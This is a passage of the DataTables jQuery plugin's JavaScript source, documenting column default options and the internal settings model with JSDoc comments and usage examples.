* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "bVisible": false, "aTargets": [ 0 ] }
* ] } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "bVisible": false },
* null,
* null,
* null,
* null
* ] } );
* } );
*/
"bVisible": true,
/**
* Developer definable function that is called whenever a cell is created (Ajax source,
* etc) or processed for input (DOM source). This can be used as a compliment to mRender
* allowing you to modify the DOM element (add background colour for example) when the
* element is available.
* @type function
* @param {element} nTd The TD node that has been created
* @param {*} sData The Data for the cell
* @param {array|object} oData The data for the whole row
* @param {int} iRow The row index for the aoData data store
* @param {int} iCol The column index for aoColumns
* @dtopt Columns
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [ {
* "aTargets": [3],
* "fnCreatedCell": function (nTd, sData, oData, iRow, iCol) {
* if ( sData == "1.7" ) {
* $(nTd).css('color', 'blue')
* }
* }
* } ]
* });
* } );
*/
"fnCreatedCell": null,
/**
* <code>Deprecated</code> Custom display function that will be called for the
* display of each cell in this column.
*
* Please note that this option has now been deprecated and will be removed
* in the next version of DataTables. Please use mRender / mData rather than
* fnRender.
* @type function
* @param {object} o Object with the following parameters:
* @param {int} o.iDataRow The row in aoData
* @param {int} o.iDataColumn The column in question
* @param {array} o.aData The data for the row in question
* @param {object} o.oSettings The settings object for this DataTables instance
* @param {object} o.mDataProp The data property used for this column
* @param {*} val The current cell value
* @returns {string} The string you which to use in the display
* @dtopt Columns
* @deprecated
*/
"fnRender": null,
/**
* The column index (starting from 0!) that you wish a sort to be performed
* upon when this column is selected for sorting. This can be used for sorting
* on hidden columns for example.
* @type int
* @default -1 <i>Use automatically calculated column index</i>
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "iDataSort": 1, "aTargets": [ 0 ] }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "iDataSort": 1 },
* null,
* null,
* null,
* null
* ]
* } );
* } );
*/
"iDataSort": -1,
/**
* This parameter has been replaced by mData in DataTables to ensure naming
* consistency. mDataProp can still be used, as there is backwards compatibility
* in DataTables for this option, but it is strongly recommended that you use
* mData in preference to mDataProp.
* @name DataTable.defaults.columns.mDataProp
*/
/**
* This property can be used to read data from any JSON data source property,
* including deeply nested objects / properties. mData can be given in a
* number of different ways which effect its behaviour:
* <ul>
* <li>integer - treated as an array index for the data source. This is the
* default that DataTables uses (incrementally increased for each column).</li>
* <li>string - read an object property from the data source. Note that you can
* use Javascript dotted notation to read deep properties / arrays from the
* data source.</li>
* <li>null - the sDefaultContent option will be used for the cell (null
* by default, so you will need to specify the default content you want -
* typically an empty string). This can be useful on generated columns such
* as edit / delete action columns.</li>
* <li>function - the function given will be executed whenever DataTables
* needs to set or get the data for a cell in the column. The function
* takes three parameters:
* <ul>
* <li>{array|object} The data source for the row</li>
* <li>{string} The type call data requested - this will be 'set' when
* setting data or 'filter', 'display', 'type', 'sort' or undefined when
* gathering data. Note that when <i>undefined</i> is given for the type
* DataTables expects to get the raw data for the object back</li>
* <li>{*} Data to set when the second parameter is 'set'.</li>
* </ul>
* The return value from the function is not required when 'set' is the type
* of call, but otherwise the return is what will be used for the data
* requested.</li>
* </ul>
*
* Note that prior to DataTables 1.9.2 mData was called mDataProp. The name change
* reflects the flexibility of this property and is consistent with the naming of
* mRender. If 'mDataProp' is given, then it will still be used by DataTables, as
* it automatically maps the old name to the new if required.
* @type string|int|function|null
* @default null <i>Use automatically calculated column index</i>
* @dtopt Columns
*
* @example
* // Read table data from objects
* $(document).ready( function() {
* var oTable = $('#example').dataTable( {
* "sAjaxSource": "sources/deep.txt",
* "aoColumns": [
* { "mData": "engine" },
* { "mData": "browser" },
* { "mData": "platform.inner" },
* { "mData": "platform.details.0" },
* { "mData": "platform.details.1" }
* ]
* } );
* } );
*
* @example
* // Using mData as a function to provide different information for
* // sorting, filtering and display. In this case, currency (price)
* $(document).ready( function() {
* var oTable = $('#example').dataTable( {
* "aoColumnDefs": [ {
* "aTargets": [ 0 ],
* "mData": function ( source, type, val ) {
* if (type === 'set') {
* source.price = val;
* // Store the computed dislay and filter values for efficiency
* source.price_display = val=="" ? "" : "$"+numberFormat(val);
* source.price_filter = val=="" ? "" : "$"+numberFormat(val)+" "+val;
* return;
* }
* else if (type === 'display') {
* return source.price_display;
* }
* else if (type === 'filter') {
* return source.price_filter;
* }
* // 'sort', 'type' and undefined all just use the integer
* return source.price;
* }
* } ]
* } );
* } );
*/
"mData": null,
/**
* This property is the rendering partner to mData and it is suggested that
* when you want to manipulate data for display (including filtering, sorting etc)
* but not altering the underlying data for the table, use this property. mData
* can actually do everything this property can and more, but this parameter is
* easier to use since there is no 'set' option. Like mData is can be given
* in a number of different ways to effect its behaviour, with the addition of
* supporting array syntax for easy outputting of arrays (including arrays of
* objects):
* <ul>
* <li>integer - treated as an array index for the data source. This is the
* default that DataTables uses (incrementally increased for each column).</li>
* <li>string - read an object property from the data source. Note that you can
* use Javascript dotted notation to read deep properties / arrays from the
* data source and also array brackets to indicate that the data reader should
* loop over the data source array. When characters are given between the array
* brackets, these characters are used to join the data source array together.
* For example: "accounts[, ].name" would result in a comma separated list with
* the 'name' value from the 'accounts' array of objects.</li>
* <li>function - the function given will be executed whenever DataTables
* needs to set or get the data for a cell in the column. The function
* takes three parameters:
* <ul>
* <li>{array|object} The data source for the row (based on mData)</li>
* <li>{string} The type call data requested - this will be 'filter', 'display',
* 'type' or 'sort'.</li>
* <li>{array|object} The full data source for the row (not based on mData)</li>
* </ul>
* The return value from the function is what will be used for the data
* requested.</li>
* </ul>
* @type string|int|function|null
* @default null <i>Use mData</i>
* @dtopt Columns
*
* @example
* // Create a comma separated list from an array of objects
* $(document).ready( function() {
* var oTable = $('#example').dataTable( {
* "sAjaxSource": "sources/deep.txt",
* "aoColumns": [
* { "mData": "engine" },
* { "mData": "browser" },
* {
* "mData": "platform",
* "mRender": "[, ].name"
* }
* ]
* } );
* } );
*
* @example
* // Use as a function to create a link from the data source
* $(document).ready( function() {
* var oTable = $('#example').dataTable( {
* "aoColumnDefs": [
* {
* "aTargets": [ 0 ],
* "mData": "download_link",
* "mRender": function ( data, type, full ) {
* return '<a href="'+data+'">Download</a>';
* }
* ]
* } );
* } );
*/
"mRender": null,
/**
* Change the cell type created for the column - either TD cells or TH cells. This
* can be useful as TH cells have semantic meaning in the table body, allowing them
* to act as a header for a row (you may wish to add scope='row' to the TH elements).
* @type string
* @default td
* @dtopt Columns
*
* @example
* // Make the first column use TH cells
* $(document).ready( function() {
* var oTable = $('#example').dataTable( {
* "aoColumnDefs": [ {
* "aTargets": [ 0 ],
* "sCellType": "th"
* } ]
* } );
* } );
*/
"sCellType": "td",
/**
* Class to give to each cell in this column.
* @type string
* @default <i>Empty string</i>
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "sClass": "my_class", "aTargets": [ 0 ] }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "sClass": "my_class" },
* null,
* null,
* null,
* null
* ]
* } );
* } );
*/
"sClass": "",
/**
* When DataTables calculates the column widths to assign to each column,
* it finds the longest string in each column and then constructs a
* temporary table and reads the widths from that. The problem with this
* is that "mmm" is much wider then "iiii", but the latter is a longer
* string - thus the calculation can go wrong (doing it properly and putting
* it into an DOM object and measuring that is horribly(!) slow). Thus as
* a "work around" we provide this option. It will append its value to the
* text that is found to be the longest string for the column - i.e. padding.
* Generally you shouldn't need this, and it is not documented on the
* general DataTables.net documentation
* @type string
* @default <i>Empty string<i>
* @dtopt Columns
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* null,
* null,
* null,
* {
* "sContentPadding": "mmm"
* }
* ]
* } );
* } );
*/
"sContentPadding": "",
/**
* Allows a default value to be given for a column's data, and will be used
* whenever a null data source is encountered (this can be because mData
* is set to null, or because the data source itself is null).
* @type string
* @default null
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* {
* "mData": null,
* "sDefaultContent": "Edit",
* "aTargets": [ -1 ]
* }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* null,
* null,
* null,
* {
* "mData": null,
* "sDefaultContent": "Edit"
* }
* ]
* } );
* } );
*/
"sDefaultContent": null,
/**
* This parameter is only used in DataTables' server-side processing. It can
* be exceptionally useful to know what columns are being displayed on the
* client side, and to map these to database fields. When defined, the names
* also allow DataTables to reorder information from the server if it comes
* back in an unexpected order (i.e. if you switch your columns around on the
* client-side, your server-side code does not also need updating).
* @type string
* @default <i>Empty string</i>
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "sName": "engine", "aTargets": [ 0 ] },
* { "sName": "browser", "aTargets": [ 1 ] },
* { "sName": "platform", "aTargets": [ 2 ] },
* { "sName": "version", "aTargets": [ 3 ] },
* { "sName": "grade", "aTargets": [ 4 ] }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "sName": "engine" },
* { "sName": "browser" },
* { "sName": "platform" },
* { "sName": "version" },
* { "sName": "grade" }
* ]
* } );
* } );
*/
"sName": "",
/**
* Defines a data source type for the sorting which can be used to read
* real-time information from the table (updating the internally cached
* version) prior to sorting. This allows sorting to occur on user editable
* elements such as form inputs.
* @type string
* @default std
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "sSortDataType": "dom-text", "aTargets": [ 2, 3 ] },
* { "sType": "numeric", "aTargets": [ 3 ] },
* { "sSortDataType": "dom-select", "aTargets": [ 4 ] },
* { "sSortDataType": "dom-checkbox", "aTargets": [ 5 ] }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* null,
* null,
* { "sSortDataType": "dom-text" },
* { "sSortDataType": "dom-text", "sType": "numeric" },
* { "sSortDataType": "dom-select" },
* { "sSortDataType": "dom-checkbox" }
* ]
* } );
* } );
*/
"sSortDataType": "std",
/**
* The title of this column.
* @type string
* @default null <i>Derived from the 'TH' value for this column in the
* original HTML table.</i>
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "sTitle": "My column title", "aTargets": [ 0 ] }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "sTitle": "My column title" },
* null,
* null,
* null,
* null
* ]
* } );
* } );
*/
"sTitle": null,
/**
* The type allows you to specify how the data for this column will be sorted.
* Four types (string, numeric, date and html (which will strip HTML tags
* before sorting)) are currently available. Note that only date formats
* understood by Javascript's Date() object will be accepted as type date. For
* example: "Mar 26, 2008 5:03 PM". May take the values: 'string', 'numeric',
* 'date' or 'html' (by default). Further types can be adding through
* plug-ins.
* @type string
* @default null <i>Auto-detected from raw data</i>
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "sType": "html", "aTargets": [ 0 ] }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "sType": "html" },
* null,
* null,
* null,
* null
* ]
* } );
* } );
*/
"sType": null,
/**
* Defining the width of the column, this parameter may take any CSS value
* (3em, 20px etc). DataTables apples 'smart' widths to columns which have not
* been given a specific width through this interface ensuring that the table
* remains readable.
* @type string
* @default null <i>Automatic</i>
* @dtopt Columns
*
* @example
* // Using aoColumnDefs
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumnDefs": [
* { "sWidth": "20%", "aTargets": [ 0 ] }
* ]
* } );
* } );
*
* @example
* // Using aoColumns
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoColumns": [
* { "sWidth": "20%" },
* null,
* null,
* null,
* null
* ]
* } );
* } );
*/
"sWidth": null
};
/**
* DataTables settings object - this holds all the information needed for a
* given table, including configuration, data and current application of the
* table options. DataTables does not have a single instance for each DataTable
* with the settings attached to that instance, but rather instances of the
* DataTable "class" are created on-the-fly as needed (typically by a
* $().dataTable() call) and the settings object is then applied to that
* instance.
*
* Note that this object is related to {@link DataTable.defaults} but this
* one is the internal data store for DataTables's cache of columns. It should
* NOT be manipulated outside of DataTables. Any configuration should be done
* through the initialisation options.
* @namespace
* @todo Really should attach the settings object to individual instances so we
* don't need to create new instances on each $().dataTable() call (if the
* table already exists). It would also save passing oSettings around and
* into every single function. However, this is a very significant
* architecture change for DataTables and will almost certainly break
* backwards compatibility with older installations. This is something that
* will be done in 2.0.
*/
DataTable.models.oSettings = {
/**
* Primary features of DataTables and their enablement state.
* @namespace
*/
"oFeatures": {
/**
* Flag to say if DataTables should automatically try to calculate the
* optimum table and columns widths (true) or not (false).
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bAutoWidth": null,
/**
* Delay the creation of TR and TD elements until they are actually
* needed by a driven page draw. This can give a significant speed
* increase for Ajax source and Javascript source data, but makes no
* difference at all fro DOM and server-side processing tables.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bDeferRender": null,
/**
* Enable filtering on the table or not. Note that if this is disabled
* then there is no filtering at all on the table, including fnFilter.
* To just remove the filtering input use sDom and remove the 'f' option.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bFilter": null,
/**
* Table information element (the 'Showing x of y records' div) enable
* flag.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bInfo": null,
/**
* Present a user control allowing the end user to change the page size
* when pagination is enabled.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bLengthChange": null,
/**
* Pagination enabled or not. Note that if this is disabled then length
* changing must also be disabled.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bPaginate": null,
/**
* Processing indicator enable flag whenever DataTables is enacting a
* user request - typically an Ajax request for server-side processing.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bProcessing": null,
/**
* Server-side processing enabled flag - when enabled DataTables will
* get all data from the server for every draw - there is no filtering,
* sorting or paging done on the client-side.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bServerSide": null,
/**
* Sorting enablement flag.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bSort": null,
/**
* Apply a class to the columns which are being sorted to provide a
* visual highlight or not. This can slow things down when enabled since
* there is a lot of DOM interaction.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bSortClasses": null,
/**
* State saving enablement flag.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bStateSave": null
},
/**
* Scrolling settings for a table.
* @namespace
*/
"oScroll": {
/**
* Indicate if DataTables should be allowed to set the padding / margin
* etc for the scrolling header elements or not. Typically you will want
* this.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bAutoCss": null,
/**
* When the table is shorter in height than sScrollY, collapse the
* table container down to the height of the table (when true).
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bCollapse": null,
/**
* Infinite scrolling enablement flag. Now deprecated in favour of
* using the Scroller plug-in.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bInfinite": null,
/**
* Width of the scrollbar for the web-browser's platform. Calculated
* during table initialisation.
* @type int
* @default 0
*/
"iBarWidth": 0,
/**
* Space (in pixels) between the bottom of the scrolling container and
* the bottom of the scrolling viewport before the next page is loaded
* when using infinite scrolling.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type int
*/
"iLoadGap": null,
/**
* Viewport width for horizontal scrolling. Horizontal scrolling is
* disabled if an empty string.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type string
*/
"sX": null,
/**
* Width to expand the table to when using x-scrolling. Typically you
* should not need to use this.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type string
* @deprecated
*/
"sXInner": null,
/**
* Viewport height for vertical scrolling. Vertical scrolling is disabled
* if an empty string.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type string
*/
"sY": null
},
/**
* Language information for the table.
* @namespace
* @extends DataTable.defaults.oLanguage
*/
"oLanguage": {
/**
* Information callback function. See
* {@link DataTable.defaults.fnInfoCallback}
* @type function
* @default null
*/
"fnInfoCallback": null
},
/**
* Browser support parameters
* @namespace
*/
"oBrowser": {
/**
* Indicate if the browser incorrectly calculates width:100% inside a
* scrolling element (IE6/7)
* @type boolean
* @default false
*/
"bScrollOversize": false
},
/**
* Array referencing the nodes which are used for the features. The
* parameters of this object match what is allowed by sDom - i.e.
* <ul>
* <li>'l' - Length changing</li>
* <li>'f' - Filtering input</li>
* <li>'t' - The table!</li>
* <li>'i' - Information</li>
* <li>'p' - Pagination</li>
* <li>'r' - pRocessing</li>
* </ul>
* @type array
* @default []
*/
"aanFeatures": [],
/**
* Store data information - see {@link DataTable.models.oRow} for detailed
* information.
* @type array
* @default []
*/
"aoData": [],
/**
* Array of indexes which are in the current display (after filtering etc)
* @type array
* @default []
*/
"aiDisplay": [],
/**
* Array of indexes for display - no filtering
* @type array
* @default []
*/
"aiDisplayMaster": [],
/**
* Store information about each column that is in use
* @type array
* @default []
*/
"aoColumns": [],
/**
* Store information about the table's header
* @type array
* @default []
*/
"aoHeader": [],
/**
* Store information about the table's footer
* @type array
* @default []
*/
"aoFooter": [],
/**
* Search data array for regular expression searching
* @type array
* @default []
*/
"asDataSearch": [],
/**
* Store the applied global search information in case we want to force a
* research or compare the old search to a new one.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @namespace
* @extends DataTable.models.oSearch
*/
"oPreviousSearch": {},
/**
* Store the applied search for each column - see
* {@link DataTable.models.oSearch} for the format that is used for the
* filtering information for each column.
* @type array
* @default []
*/
"aoPreSearchCols": [],
/**
* Sorting that is applied to the table. Note that the inner arrays are
* used in the following manner:
* <ul>
* <li>Index 0 - column number</li>
* <li>Index 1 - current sorting direction</li>
* <li>Index 2 - index of asSorting for this column</li>
* </ul>
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type array
* @todo These inner arrays should really be objects
*/
"aaSorting": null,
/**
* Sorting that is always applied to the table (i.e. prefixed in front of
* aaSorting).
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type array|null
* @default null
*/
"aaSortingFixed": null,
/**
* Classes to use for the striping of a table.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type array
* @default []
*/
"asStripeClasses": null,
/**
* If restoring a table - we should restore its striping classes as well
* @type array
* @default []
*/
"asDestroyStripes": [],
/**
* If restoring a table - we should restore its width
* @type int
* @default 0
*/
"sDestroyWidth": 0,
/**
* Callback functions array for every time a row is inserted (i.e. on a draw).
* @type array
* @default []
*/
"aoRowCallback": [],
/**
* Callback functions for the header on each draw.
* @type array
* @default []
*/
"aoHeaderCallback": [],
/**
* Callback function for the footer on each draw.
* @type array
* @default []
*/
"aoFooterCallback": [],
/**
* Array of callback functions for draw callback functions
* @type array
* @default []
*/
"aoDrawCallback": [],
/**
* Array of callback functions for row created function
* @type array
* @default []
*/
"aoRowCreatedCallback": [],
/**
* Callback functions for just before the table is redrawn. A return of
* false will be used to cancel the draw.
* @type array
* @default []
*/
"aoPreDrawCallback": [],
/**
* Callback functions for when the table has been initialised.
* @type array
* @default []
*/
"aoInitComplete": [],
/**
* Callbacks for modifying the settings to be stored for state saving, prior to
* saving state.
* @type array
* @default []
*/
"aoStateSaveParams": [],
/**
* Callbacks for modifying the settings that have been stored for state saving
* prior to using the stored values to restore the state.
* @type array
* @default []
*/
"aoStateLoadParams": [],
/**
* Callbacks for operating on the settings object once the saved state has been
* loaded
* @type array
* @default []
*/
"aoStateLoaded": [],
/**
* Cache the table ID for quick access
* @type string
* @default <i>Empty string</i>
*/
"sTableId": "",
/**
* The TABLE node for the main table
* @type node
* @default null
*/
"nTable": null,
/**
* Permanent ref to the thead element
* @type node
* @default null
*/
"nTHead": null,
/**
* Permanent ref to the tfoot element - if it exists
* @type node
* @default null
*/
"nTFoot": null,
/**
* Permanent ref to the tbody element
* @type node
* @default null
*/
"nTBody": null,
/**
* Cache the wrapper node (contains all DataTables controlled elements)
* @type node
* @default null
*/
"nTableWrapper": null,
/**
* Indicate if when using server-side processing the loading of data
* should be deferred until the second draw.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
* @default false
*/
"bDeferLoading": false,
/**
* Indicate if all required information has been read in
* @type boolean
* @default false
*/
"bInitialised": false,
/**
* Information about open rows. Each object in the array has the parameters
* 'nTr' and 'nParent'
* @type array
* @default []
*/
"aoOpenRows": [],
/**
* Dictate the positioning of DataTables' control elements - see
* {@link DataTable.model.oInit.sDom}.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type string
* @default null
*/
"sDom": null,
/**
* Which type of pagination should be used.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type string
* @default two_button
*/
"sPaginationType": "two_button",
/**
* The cookie duration (for bStateSave) in seconds.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type int
* @default 0
*/
"iCookieDuration": 0,
/**
* The cookie name prefix.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type string
* @default <i>Empty string</i>
*/
"sCookiePrefix": "",
/**
* Callback function for cookie creation.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type function
* @default null
*/
"fnCookieCallback": null,
/**
* Array of callback functions for state saving. Each array element is an
* object with the following parameters:
* <ul>
* <li>function:fn - function to call. Takes two parameters, oSettings
* and the JSON string to save that has been thus far created. Returns
* a JSON string to be inserted into a json object
* (i.e. '"param": [ 0, 1, 2]')</li>
* <li>string:sName - name of callback</li>
* </ul>
* @type array
* @default []
*/
"aoStateSave": [],
/**
* Array of callback functions for state loading. Each array element is an
* object with the following parameters:
* <ul>
* <li>function:fn - function to call. Takes two parameters, oSettings
* and the object stored. May return false to cancel state loading</li>
* <li>string:sName - name of callback</li>
* </ul>
* @type array
* @default []
*/
"aoStateLoad": [],
/**
* State that was loaded from the cookie. Useful for back reference
* @type object
* @default null
*/
"oLoadedState": null,
/**
* Source url for AJAX data for the table.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type string
* @default null
*/
"sAjaxSource": null,
/**
* Property from a given object from which to read the table data from. This
* can be an empty string (when not server-side processing), in which case
* it is assumed an an array is given directly.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type string
*/
"sAjaxDataProp": null,
/**
* Note if draw should be blocked while getting data
* @type boolean
* @default true
*/
"bAjaxDataGet": true,
/**
* The last jQuery XHR object that was used for server-side data gathering.
* This can be used for working with the XHR information in one of the
* callbacks
* @type object
* @default null
*/
"jqXHR": null,
/**
* Function to get the server-side data.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type function
*/
"fnServerData": null,
/**
* Functions which are called prior to sending an Ajax request so extra
* parameters can easily be sent to the server
* @type array
* @default []
*/
"aoServerParams": [],
/**
* Send the XHR HTTP method - GET or POST (could be PUT or DELETE if
* required).
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type string
*/
"sServerMethod": null,
/**
* Format numbers for display.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type function
*/
"fnFormatNumber": null,
/**
* List of options that can be used for the user selectable length menu.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type array
* @default []
*/
"aLengthMenu": null,
/**
* Counter for the draws that the table does. Also used as a tracker for
* server-side processing
* @type int
* @default 0
*/
"iDraw": 0,
/**
* Indicate if a redraw is being done - useful for Ajax
* @type boolean
* @default false
*/
"bDrawing": false,
/**
* Draw index (iDraw) of the last error when parsing the returned data
* @type int
* @default -1
*/
"iDrawError": -1,
/**
* Paging display length
* @type int
* @default 10
*/
"_iDisplayLength": 10,
/**
* Paging start point - aiDisplay index
* @type int
* @default 0
*/
"_iDisplayStart": 0,
/**
* Paging end point - aiDisplay index. Use fnDisplayEnd rather than
* this property to get the end point
* @type int
* @default 10
* @private
*/
"_iDisplayEnd": 10,
/**
* Server-side processing - number of records in the result set
* (i.e. before filtering), Use fnRecordsTotal rather than
* this property to get the value of the number of records, regardless of
* the server-side processing setting.
* @type int
* @default 0
* @private
*/
"_iRecordsTotal": 0,
/**
* Server-side processing - number of records in the current display set
* (i.e. after filtering). Use fnRecordsDisplay rather than
* this property to get the value of the number of records, regardless of
* the server-side processing setting.
* @type boolean
* @default 0
* @private
*/
"_iRecordsDisplay": 0,
/**
* Flag to indicate if jQuery UI marking and classes should be used.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bJUI": null,
/**
* The classes to use for the table
* @type object
* @default {}
*/
"oClasses": {},
/**
* Flag attached to the settings object so you can check in the draw
* callback if filtering has been done in the draw. Deprecated in favour of
* events.
* @type boolean
* @default false
* @deprecated
*/
"bFiltered": false,
/**
* Flag attached to the settings object so you can check in the draw
* callback if sorting has been done in the draw. Deprecated in favour of
* events.
* @type boolean
* @default false
* @deprecated
*/
"bSorted": false,
/**
* Indicate that if multiple rows are in the header and there is more than
* one unique cell per column, if the top one (true) or bottom one (false)
* should be used for sorting / title by DataTables.
* Note that this parameter will be set by the initialisation routine. To
* set a default use {@link DataTable.defaults}.
* @type boolean
*/
"bSortCellsTop": null,
/**
* Initialisation object that is used for the table
* @type object
* @default null
*/
"oInit": null,
/**
* Destroy callback functions - for plug-ins to attach themselves to the
* destroy so they can clean up markup and events.
* @type array
* @default []
*/
"aoDestroyCallback": [],
/**
* Get the number of records in the current record set, before filtering
* @type function
*/
"fnRecordsTotal": function ()
{
if ( this.oFeatures.bServerSide ) {
return parseInt(this._iRecordsTotal, 10);
} else {
return this.aiDisplayMaster.length;
}
},
/**
* Get the number of records in the current record set, after filtering
* @type function
*/
"fnRecordsDisplay": function ()
{
if ( this.oFeatures.bServerSide ) {
return parseInt(this._iRecordsDisplay, 10);
} else {
return this.aiDisplay.length;
}
},
/**
* Set the display end point - aiDisplay index
* @type function
* @todo Should do away with _iDisplayEnd and calculate it on-the-fly here
*/
"fnDisplayEnd": function ()
{
if ( this.oFeatures.bServerSide ) {
if ( this.oFeatures.bPaginate === false || this._iDisplayLength == -1 ) {
return this._iDisplayStart+this.aiDisplay.length;
} else {
return Math.min( this._iDisplayStart+this._iDisplayLength,
this._iRecordsDisplay );
}
} else {
return this._iDisplayEnd;
}
},
/**
* The DataTables object for this table
* @type object
* @default null
*/
"oInstance": null,
/**
* Unique identifier for each instance of the DataTables object. If there
* is an ID on the table node, then it takes that value, otherwise an
* incrementing internal counter is used.
* @type string
* @default null
*/
"sInstance": null,
/**
* tabindex attribute value that is added to DataTables control elements, allowing
* keyboard navigation of the table and its controls.
*/
"iTabIndex": 0,
/**
* DIV container for the footer scrolling table if scrolling
*/
"nScrollHead": null,
/**
* DIV container for the footer scrolling table if scrolling
*/
"nScrollFoot": null
};
/**
* Extension object for DataTables that is used to provide all extension options.
*
* Note that the <i>DataTable.ext</i> object is available through
* <i>jQuery.fn.dataTable.ext</i> where it may be accessed and manipulated. It is
* also aliased to <i>jQuery.fn.dataTableExt</i> for historic reasons.
* @namespace
* @extends DataTable.models.ext
*/
DataTable.ext = $.extend( true, {}, DataTable.models.ext );
$.extend( DataTable.ext.oStdClasses, {
"sTable": "dataTable",
/* Two buttons buttons */
"sPagePrevEnabled": "paginate_enabled_previous",
"sPagePrevDisabled": "paginate_disabled_previous",
"sPageNextEnabled": "paginate_enabled_next",
"sPageNextDisabled": "paginate_disabled_next",
"sPageJUINext": "",
"sPageJUIPrev": "",
/* Full numbers paging buttons */
"sPageButton": "paginate_button",
"sPageButtonActive": "paginate_active",
"sPageButtonStaticDisabled": "paginate_button paginate_button_disabled",
"sPageFirst": "first",
"sPagePrevious": "previous",
"sPageNext": "next",
"sPageLast": "last",
/* Striping classes */
"sStripeOdd": "odd",
"sStripeEven": "even",
/* Empty row */
"sRowEmpty": "dataTables_empty",
/* Features */
"sWrapper": "dataTables_wrapper",
"sFilter": "dataTables_filter",
"sInfo": "dataTables_info",
"sPaging": "dataTables_paginate paging_", /* Note that the type is postfixed */
"sLength": "dataTables_length",
